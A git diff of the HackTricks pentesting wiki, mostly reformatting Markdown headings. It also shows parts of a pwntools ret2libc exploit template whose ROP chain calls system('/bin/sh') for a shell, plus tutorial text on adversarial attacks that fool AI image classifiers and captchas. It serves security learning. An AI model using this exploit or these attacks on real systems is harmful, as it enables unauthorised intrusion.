diff --git a/.gitbook/assets/template.py b/.gitbook/assets/template.py index 8f889b5e..f26b4a85 100644 --- a/.gitbook/assets/template.py +++ b/.gitbook/assets/template.py @@ -1,9 +1,9 @@ from pwn import * # Import pwntools -#################### -#### CONNECTION #### -#################### +################### +### CONNECTION #### +################### LOCAL = True REMOTETTCP = False REMOTESSH = False @@ -36,9 +36,9 @@ if GDB: gdb.attach(p.pid, "continue") -#################### -#### Find offset ### -#################### +################### +### Find offset ### +################### OFFSET = "A"*40 if OFFSET == "": gdb.attach(p.pid, "c") #Attach and continue @@ -51,9 +51,9 @@ if OFFSET == "": exit() -##################### -#### Find Gadgets ### -##################### +#################### +### Find Gadgets ### +#################### PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts MAIN_PLT = elf.symbols['main'] POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi" @@ -93,9 +93,9 @@ if libc == "": # this implies that in the future if you search for functions in libc, the resulting address # will be the real one, you can use it directly (NOT NEED TO ADD AGAINF THE LIBC BASE ADDRESS) -################################# -### GET SHELL with known LIBC ### -################################# +################################ +## GET SHELL with known LIBC ### +################################ BINSH = next(libc.search("/bin/sh")) #Verify with find /bin/sh SYSTEM = libc.sym["system"] EXIT = libc.sym["exit"] @@ -108,5 +108,5 @@ rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) p.clean() p.sendline(rop2) -##### Interact with the shell ##### +#### Interact with the shell ##### p.interactive() #Interact with the conenction \ No newline at end of file diff --git a/1911-pentesting-fox.md b/1911-pentesting-fox.md index b4016d9c..2875b54f 100644 --- a/1911-pentesting-fox.md +++ b/1911-pentesting-fox.md @@ -16,7 +16,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## 1911 - Pentesting fox And more services: diff --git a/6881-udp-pentesting-bittorrent.md b/6881-udp-pentesting-bittorrent.md index 6bd5fe4d..eb7ae3e4 100644 --- a/6881-udp-pentesting-bittorrent.md +++ b/6881-udp-pentesting-bittorrent.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# 6881/udp - Pentesting BitTorrent -
diff --git a/LICENSE.md b/LICENSE.md index 45bfd7fc..d2abc377 100644 --- a/LICENSE.md +++ b/LICENSE.md @@ -24,13 +24,13 @@ Human Readable License: https://creativecommons.org/licenses/by-nc/4.0/
Complete Legal Terms: https://creativecommons.org/licenses/by-nc/4.0/legalcode
Formatting: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/master/licenses/by-nc.markdown
-## creative commons +# creative commons # Attribution-NonCommercial 4.0 International Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible. -### Using Creative Commons Public Licenses +## Using Creative Commons Public Licenses Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses. @@ -38,11 +38,11 @@ Creative Commons public licenses provide a standard set of terms and conditions * __Considerations for the public:__ By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. [More considerations for the public](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees). -## Creative Commons Attribution-NonCommercial 4.0 International Public License +# Creative Commons Attribution-NonCommercial 4.0 International Public License By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-NonCommercial 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions. -### Section 1 – Definitions. +## Section 1 – Definitions. a. __Adapted Material__ means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image. @@ -68,7 +68,7 @@ k. __Sui Generis Database Rights__ means rights other than copyright resulting f l. __You__ means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning. -### Section 2 – Scope. +## Section 2 – Scope. a. ___License grant.___ @@ -100,7 +100,7 @@ b. ___Other rights.___ 3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties, including when the Licensed Material is used other than for NonCommercial purposes. -### Section 3 – License Conditions. +## Section 3 – License Conditions. Your exercise of the Licensed Rights is expressly made subject to the following conditions. @@ -130,7 +130,7 @@ a. ___Attribution.___ 4. If You Share Adapted Material You produce, the Adapter's License You apply must not prevent recipients of the Adapted Material from complying with this Public License. -### Section 4 – Sui Generis Database Rights. +## Section 4 – Sui Generis Database Rights. Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material: @@ -142,7 +142,7 @@ c. You must comply with the conditions in Section 3(a) if You Share all or a sub For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights. -### Section 5 – Disclaimer of Warranties and Limitation of Liability. +## Section 5 – Disclaimer of Warranties and Limitation of Liability. a. __Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.__ @@ -150,7 +150,7 @@ b. __To the extent possible, in no event will the Licensor be liable to You on a c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability. -### Section 6 – Term and Termination. +## Section 6 – Term and Termination. a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically. @@ -166,13 +166,13 @@ c. For the avoidance of doubt, the Licensor may also offer the Licensed Material d. Sections 1, 5, 6, 7, and 8 survive termination of this Public License. -### Section 7 – Other Terms and Conditions. +## Section 7 – Other Terms and Conditions. a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed. b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License. -### Section 8 – Interpretation. +## Section 8 – Interpretation. a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License. diff --git a/Learning & Hacking.md b/Learning & Hacking.md index 2b3d865d..b05d0e7e 100644 --- a/Learning & Hacking.md +++ b/Learning & Hacking.md @@ -1,24 +1,24 @@ # Learning Pages and VMs -## https://tryhackme.com/ +# https://tryhackme.com/ Tryhackme is a platform with virtual machines that need to be solved through walkthroughs, which is very good for beginners and normal CTFs where you self must hack into the machines. -## https://www.root-me.org/ +# https://www.root-me.org/ Rootme is another page for online hosted virtual machines to hack. -## https://www.vulnhub.com/ +# https://www.vulnhub.com/ Vulnhub has machines to download and then to hack -## https://www.hackthebox.eu/ https://academy.hackthebox.eu/catalogue +# https://www.hackthebox.eu/ https://academy.hackthebox.eu/catalogue Hackthebox has online machines to hack, but there are very limited in the free version. @@ -26,26 +26,26 @@ Recently the launched their academy, but it is a bit more expensive than for exa -## https://hack.me/ +# https://hack.me/ This site seems to be a community platform -## https://www.hacker101.com/ +# https://www.hacker101.com/ Free and smale site with videos and CTFs -## https://crackmes.one/ +# https://crackmes.one/ This site has a lot of binarys for forensic learning. -## https://overthewire.org/wargames/ +# https://overthewire.org/wargames/ The wargames offered by the OverTheWire community can help you to learn and practice security concepts in the form of fun-filled games. Perfect for beginners. -## https://www.hackthissite.org/missions/basic/ +# https://www.hackthissite.org/missions/basic/ -## https://attackdefense.com/ +# https://attackdefense.com/ diff --git a/README.md b/README.md index 3ad1865c..e95afa4b 100644 --- a/README.md +++ b/README.md @@ -22,7 +22,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-## HackTricks ![](.gitbook/assets/p.png) @@ -30,13 +29,13 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) Here you can find a little **introduction:** -### [**Pentesting Methodology**](pentesting-methodology.md) +## [**Pentesting Methodology**](pentesting-methodology.md) Here you will find the **typical flow** that **you should follow when pentesting** one or more **machines**. **Click in the title to start!** -### Support HackTricks +## Support HackTricks Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! @@ -46,9 +45,9 @@ And if you are a PEASS & HackTricks enthusiast, you can get your hands now on ou You can also, **join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) **to learn about latest news in cybersecurity and meet other cybersecurity enthusiasts**, or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book. -### Corporate Sponsors +## Corporate Sponsors -#### [STM Cyber](https://www.stmcyber.com) +### [STM Cyber](https://www.stmcyber.com) ![](<.gitbook/assets/image (642) (1) (1) (1).png>) @@ -58,7 +57,7 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm **STM Cyber** also support cybersecurity open source projects like HackTricks :) -#### [Intrigiti](https://www.intigriti.com) +### [Intrigiti](https://www.intigriti.com) ![](<.gitbook/assets/image (638).png>) @@ -68,7 +67,7 @@ You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stm {% embed url="https://go.intigriti.com/hacktricks" %} -#### [**INE**](https://ine.com) +### [**INE**](https://ine.com) ![](.gitbook/assets/ine\_logo-3-.jpg) @@ -84,7 +83,7 @@ You can find **my reviews of the certifications eMAPT and eWPTXv2** (and their * [ine-courses-and-elearnsecurity-certifications-reviews.md](courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md) {% endcontent-ref %} -### License +## License **Copyright © Carlos Polop 2021. Except where otherwise specified (the external information copied into the book belongs to the original authors), the text on** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **by Carlos Polop is licensed under the**[ **Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**.**\ **If you want to use it with commercial purposes, contact me.** diff --git a/SUMMARY.md b/SUMMARY.md index 91e515ef..d2d23c99 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -15,7 +15,7 @@ * [Tunneling and Port Forwarding](tunneling-and-port-forwarding.md) * [Search Exploits](search-exploits.md) -## Shells +# Shells * [Shells (Linux, Windows, MSFVenom)](shells/shells/README.md) * [MSFVenom - CheatSheet](shells/shells/msfvenom.md) @@ -23,7 +23,7 @@ * [Shells - Linux](shells/shells/linux.md) * [Full TTYs](shells/shells/full-ttys.md) -## Linux/Unix +# Linux/Unix * [Checklist - Linux Privilege Escalation](linux-unix/linux-privilege-escalation-checklist.md) * [Linux Privilege Escalation](linux-unix/privilege-escalation/README.md) @@ -62,7 +62,7 @@ * [Bypass Bash Restrictions](linux-unix/useful-linux-commands/bypass-bash-restrictions.md) * [Linux Environment Variables](linux-unix/linux-environment-variables.md) -## MacOS +# MacOS * [MacOS Security & Privilege Escalation](macos/macos-security-and-privilege-escalation/README.md) * [Mac OS Architecture](macos/macos-security-and-privilege-escalation/mac-os-architecture.md) @@ -73,7 +73,7 @@ * [MacOS Serial Number](macos/macos-security-and-privilege-escalation/macos-serial-number.md) * [MacOS Apps - Inspecting, debugging and Fuzzing](macos/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing.md) -## Windows +# Windows * [Checklist - Local Windows Privilege Escalation](windows/checklist-windows-privilege-escalation.md) * [Windows Local Privilege Escalation](windows/windows-local-privilege-escalation/README.md) @@ -138,7 +138,7 @@ * [PowerView](windows/basic-powershell-for-pentesters/powerview.md) * [AV Bypass](windows/av-bypass.md) -## Mobile Apps Pentesting +# Mobile Apps Pentesting * [Android APK Checklist](mobile-apps-pentesting/android-checklist.md) * [Android Applications Pentesting](mobile-apps-pentesting/android-app-pentesting/README.md) @@ -185,7 +185,7 @@ * [iOS UIPasteboard](mobile-apps-pentesting/ios-pentesting/ios-uipasteboard.md) * [iOS WebViews](mobile-apps-pentesting/ios-pentesting/ios-webviews.md) -## Pentesting +# Pentesting * [Pentesting Network](pentesting/pentesting-network/README.md) * [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](pentesting/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) @@ -365,7 +365,7 @@ * [50030,50060,50070,50075,50090 - Pentesting Hadoop](pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md) * [Pentesting Remote GdbServer](pentesting/pentesting-remote-gdbserver.md) -## Pentesting Web +# Pentesting Web * [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md) * [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md) @@ -474,7 +474,7 @@ * [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md) * [XS-Search](pentesting-web/xs-search.md) -## Forensics +# Forensics * [Basic Forensic Methodology](forensics/basic-forensic-methodology/README.md) * [Baseline Monitoring](forensics/basic-forensic-methodology/file-integrity-monitoring.md) @@ -508,7 +508,7 @@ * [Windows Processes](forensics/basic-forensic-methodology/windows-forensics/windows-processes.md) * [Interesting Windows Registry Keys](forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md) -## Cloud Security +# Cloud Security * [GCP Security](cloud-security/gcp-security/README.md) * [GCP - Other Services Enumeration](cloud-security/gcp-security/gcp-looting.md) @@ -559,7 +559,7 @@ * [Cloud Security Review](cloud-security/cloud-security-review.md) * [AWS Security](cloud-security/aws-security.md) -## A.I. Exploiting +# A.I. Exploiting * [BRA.I.NSMASHER Presentation](a.i.-exploiting/bra.i.nsmasher-presentation/README.md) * [Basic Bruteforcer](a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md) @@ -569,16 +569,16 @@ * [ML Basics](a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/README.md) * [Feature Engineering](a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/feature-engineering.md) -## Blockchain +# Blockchain * [Blockchain & Crypto Currencies](blockchain/blockchain-and-crypto-currencies/README.md) * [Page 1](blockchain/blockchain-and-crypto-currencies/page-1.md) -## Courses and Certifications Reviews +# Courses and Certifications Reviews * [INE Courses and eLearnSecurity Certifications Reviews](courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md) -## Physical attacks +# Physical attacks * [Physical Attacks](physical-attacks/physical-attacks.md) * [Escaping from KIOSKs](physical-attacks/escaping-from-gui-applications/README.md) @@ -587,7 +587,7 @@ * [Bootloader testing](physical-attacks/firmware-analysis/bootloader-testing.md) * [Firmware Integrity](physical-attacks/firmware-analysis/firmware-integrity.md) -## Reversing +# Reversing * [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md) * [Angr](reversing/reversing-tools-basic-methods/angr/README.md) @@ -600,7 +600,7 @@ * [Unpacking binaries](reversing/cryptographic-algorithms/unpacking-binaries.md) * [Word Macros](reversing/word-macros.md) -## Exploiting +# Exploiting * [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md) * [Format Strings Template](exploiting/linux-exploiting-basic-esp/format-strings-template.md) @@ -614,7 +614,7 @@ * [PwnTools](exploiting/tools/pwntools.md) * [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md) -## Cryptography +# Cryptography * [Certificates](cryptography/certificates.md) * [Cipher Block Chaining CBC-MAC](cryptography/cipher-block-chaining-cbc-mac-priv.md) @@ -624,19 +624,19 @@ * [Padding Oracle](cryptography/padding-oracle-priv.md) * [RC4 - Encrypt\&Decrypt](cryptography/rc4-encrypt-and-decrypt.md) -## BACKDOORS +# BACKDOORS * [Merlin](backdoors/merlin.md) * [Empire](backdoors/empire.md) * [Salseo](backdoors/salseo.md) * [ICMPsh](backdoors/icmpsh.md) -## Stego +# Stego * [Stego Tricks](stego/stego-tricks.md) * [Esoteric languages](stego/esoteric-languages.md) -## MISC +# MISC * [Basic Python](misc/basic-python/README.md) * [venv](misc/basic-python/venv.md) @@ -647,7 +647,7 @@ * [Bruteforce hash (few chars)](misc/basic-python/bruteforce-hash-few-chars.md) * [Other Big References](misc/references.md) -## TODO +# TODO * [More Tools](todo/more-tools.md) * [MISC](todo/misc.md) diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/BIM_Bruteforcer.md b/a.i.-exploiting/bra.i.nsmasher-presentation/BIM_Bruteforcer.md index 2b1f6c97..ab33c4f7 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/BIM_Bruteforcer.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/BIM_Bruteforcer.md @@ -17,18 +17,16 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -#BRUTEFORCER CORE SCRIPT WITH BIM ATTACK - -This time we introduce a new type of gradient based attack, in order to brute force an image classification app (can be shaped and used for any input of course), the BIM, or Basic Iteration Method. - -It's reccomended to see at least the explanation in the [**introduction challenge colab Notebook**](//https://colab.research.google.com/drive/1lDh0oZ3TR-z87WjogdegZCdtsUuDADcR) - -To go deeper on the BIM topic: -https://arxiv.org/pdf/1607.02533.pdf - -As usual we will provide only the A.I. attack core part, it's up to you to complete the tool and blending it with PT techniques, depending on the situations. - -Please Note: +This time we introduce a new type of gradient based attack, in order to brute force an image classification app (can be shaped and used for any input of course), the BIM, or Basic Iteration Method. + +It's reccomended to see at least the explanation in the [**introduction challenge colab Notebook**](//https://colab.research.google.com/drive/1lDh0oZ3TR-z87WjogdegZCdtsUuDADcR) + +To go deeper on the BIM topic: +https://arxiv.org/pdf/1607.02533.pdf + +As usual we will provide only the A.I. attack core part, it's up to you to complete the tool and blending it with PT techniques, depending on the situations. + +Please Note: Remeber, in those kind of scenarios, in order to mime real-based attack applications, we don't have the exact model to fool or the image target in which we would like to transform our image. That's why, in order to overcome this issue, we must blend our core script, with a bruteforcer logic, accordingly to the application responses we want to fool.
diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/Hybrid_Malware_Classifier_Part_1.md b/a.i.-exploiting/bra.i.nsmasher-presentation/Hybrid_Malware_Classifier_Part_1.md index d3589144..0c3f5913 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/Hybrid_Malware_Classifier_Part_1.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/Hybrid_Malware_Classifier_Part_1.md @@ -1,40 +1,38 @@ - - -
- -Support HackTricks and get benefits! - -Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** - -**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** - -
- - -#A.I. HYBRID MALWARE CLASSIFIER -##INTERMEDIATE PYTHON SKILL, INTERMEDIATE MACHINE LEARNING SKILLS (Part 1) - -In this series of notebook we are going to build an **hybrid malware classifier.** - -For the **First part** we will focus on the scripting that involves dynamic analysis. Any steps of this series will come useful in order to detect malwares, and in this piece we will try to classify them based on their behaviour, utilizing the logs produced by running a program. - -In the **Second Part** we will see how to manipulate the logs files in order to add robustness to our classifier and adjust the code to counter the more advanced methods of A.I. Malware Evasion. - -In the **Third Part** we will create a Static Malware Classifier. - -For the **Fourth Part** For the Fourth Part we will add some tactics to add robustness to our Static classifier and merge the latter with our Dynamic Classifier. - -**PLEASE NOTE:** This Series strongly relies on building a dataset on your own, even if it's not mandatory.
-There are also many available datasets for Static and/ or Dynamic Malware analysis on several sites for this type of classification, like Ember, VirusShare, Sorel-20M, but i strongly encourage that you build one or your own. - -Here's the link to our [**colab notebook**](https://colab.research.google.com/drive/1nNZLMogXF-iq-_78IvGTd-c89_C82AB8#scrollTo=lUHLMl8Pusrn) enjoy and stay safe :) - + + +
+ +Support HackTricks and get benefits! + +Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! + +Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) + +Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) + +**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** + +**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** + +
+ +#INTERMEDIATE PYTHON SKILL, INTERMEDIATE MACHINE LEARNING SKILLS (Part 1) + +In this series of notebook we are going to build an **hybrid malware classifier.** + +For the **First part** we will focus on the scripting that involves dynamic analysis. Any steps of this series will come useful in order to detect malwares, and in this piece we will try to classify them based on their behaviour, utilizing the logs produced by running a program. + +In the **Second Part** we will see how to manipulate the logs files in order to add robustness to our classifier and adjust the code to counter the more advanced methods of A.I. Malware Evasion. + +In the **Third Part** we will create a Static Malware Classifier. + +For the **Fourth Part** For the Fourth Part we will add some tactics to add robustness to our Static classifier and merge the latter with our Dynamic Classifier. + +**PLEASE NOTE:** This Series strongly relies on building a dataset on your own, even if it's not mandatory.
+There are also many available datasets for Static and/ or Dynamic Malware analysis on several sites for this type of classification, like Ember, VirusShare, Sorel-20M, but i strongly encourage that you build one or your own. + +Here's the link to our [**colab notebook**](https://colab.research.google.com/drive/1nNZLMogXF-iq-_78IvGTd-c89_C82AB8#scrollTo=lUHLMl8Pusrn) enjoy and stay safe :) +
diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/README.md b/a.i.-exploiting/bra.i.nsmasher-presentation/README.md index efd4df10..c7e64340 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/README.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/README.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-# BRA.I.NSMASHER Presentation - -## Presentation +# Presentation **BrainSmasher** is a platform made with the purpose of aiding **pentesters, researcher, students, A.I. Cybersecurity engineers** to practice and learn all the techniques for **exploiting commercial A.I.** applications, by working on specifically crafted labs that reproduce several systems, like face recognition, speech recognition, ensemble image classification, autonomous drive, malware evasion, chatbot, data poisoning etc... @@ -39,7 +37,7 @@ _A big thanks to Hacktricks and Carlos Polop for giving us this opportunity_ > _Walter Miele from BrA.I.nsmasher_ -## Registry Challenge +# Registry Challenge In order to register in [**BrA.I.Smasher** ](https://beta.brainsmasher.eu)you need to solve an easy challenge ([**here**](https://beta.brainsmasher.eu/registrationChallenge)).\ Just think how you can confuse a neuronal network while not confusing the other one knowing that one detects better the panda while the other one is worse... @@ -50,7 +48,7 @@ However, if at some point you **don't know how to solve** the challenge, or **ev I have to tell you that there are **easier ways** to pass the challenge, but this **solution** is **awesome** as you will learn how to pass the challenge performing an **Adversarial Image performing a Fast Gradient Signed Method (FGSM) attack for images.** -## More Tutorials +# More Tutorials {% content-ref url="basic-captcha-breaker.md" %} [basic-captcha-breaker.md](basic-captcha-breaker.md) diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md b/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md index c4a3ef9d..8afa804b 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-# Basic Bruteforcer - -## BRUTEFORCER IMAGE CORRUPTION SCRIPT +# BRUTEFORCER IMAGE CORRUPTION SCRIPT The purpose here is to introduce the user to some basic concepts about **A.I. apps exploiting**, via some easy to follow scripts, which represents the core for writing useful tools.\
\ In this example (which can be used to solve the easy labs of BrainSmasher) by recalling also what is written in the solution for the introduction challenge, we will provide a simple yet useful way, in order to iteratively produce some corrupted images, to bruteforce the face recon easy labs (and thus also real applications that relies on the same principles) diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/basic-captcha-breaker.md b/a.i.-exploiting/bra.i.nsmasher-presentation/basic-captcha-breaker.md index 6194e50b..741962e0 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/basic-captcha-breaker.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/basic-captcha-breaker.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Basic Captcha Breaker - In this tutorial **a basic captcha is going to be broken**. A **NN is going to be trained** using several **images** that represents **letters** and then this NN is going to be used to **automatically identify the letters inside a captcha image**. diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/bim-bruteforcer.md b/a.i.-exploiting/bra.i.nsmasher-presentation/bim-bruteforcer.md index 3bfcfdd5..7eae9aa0 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/bim-bruteforcer.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/bim-bruteforcer.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# BIM Bruteforcer - -## BRUTEFORCER CORE SCRIPT WITH BIM ATTACK +# BRUTEFORCER CORE SCRIPT WITH BIM ATTACK This time we introduce a new type of gradient based attack, in order to brute force an image classification app \(can be shaped and used for any input of course\), the BIM, or Basic Iteration Method. diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/hybrid-malware-classifier-part-1.md b/a.i.-exploiting/bra.i.nsmasher-presentation/hybrid-malware-classifier-part-1.md index 01067780..523fd0bf 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/hybrid-malware-classifier-part-1.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/hybrid-malware-classifier-part-1.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Hybrid Malware Classifier Part 1 +# A.I. HYBRID MALWARE CLASSIFIER -## A.I. HYBRID MALWARE CLASSIFIER - -### INTERMEDIATE PYTHON SKILL, INTERMEDIATE MACHINE LEARNING SKILLS \(Part 1\) +## INTERMEDIATE PYTHON SKILL, INTERMEDIATE MACHINE LEARNING SKILLS \(Part 1\) In this series of notebook we are going to build an **hybrid malware classifier.** diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/README.md b/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/README.md index 2432ebc2..eb7ae3e4 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/README.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/README.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# ML Basics -
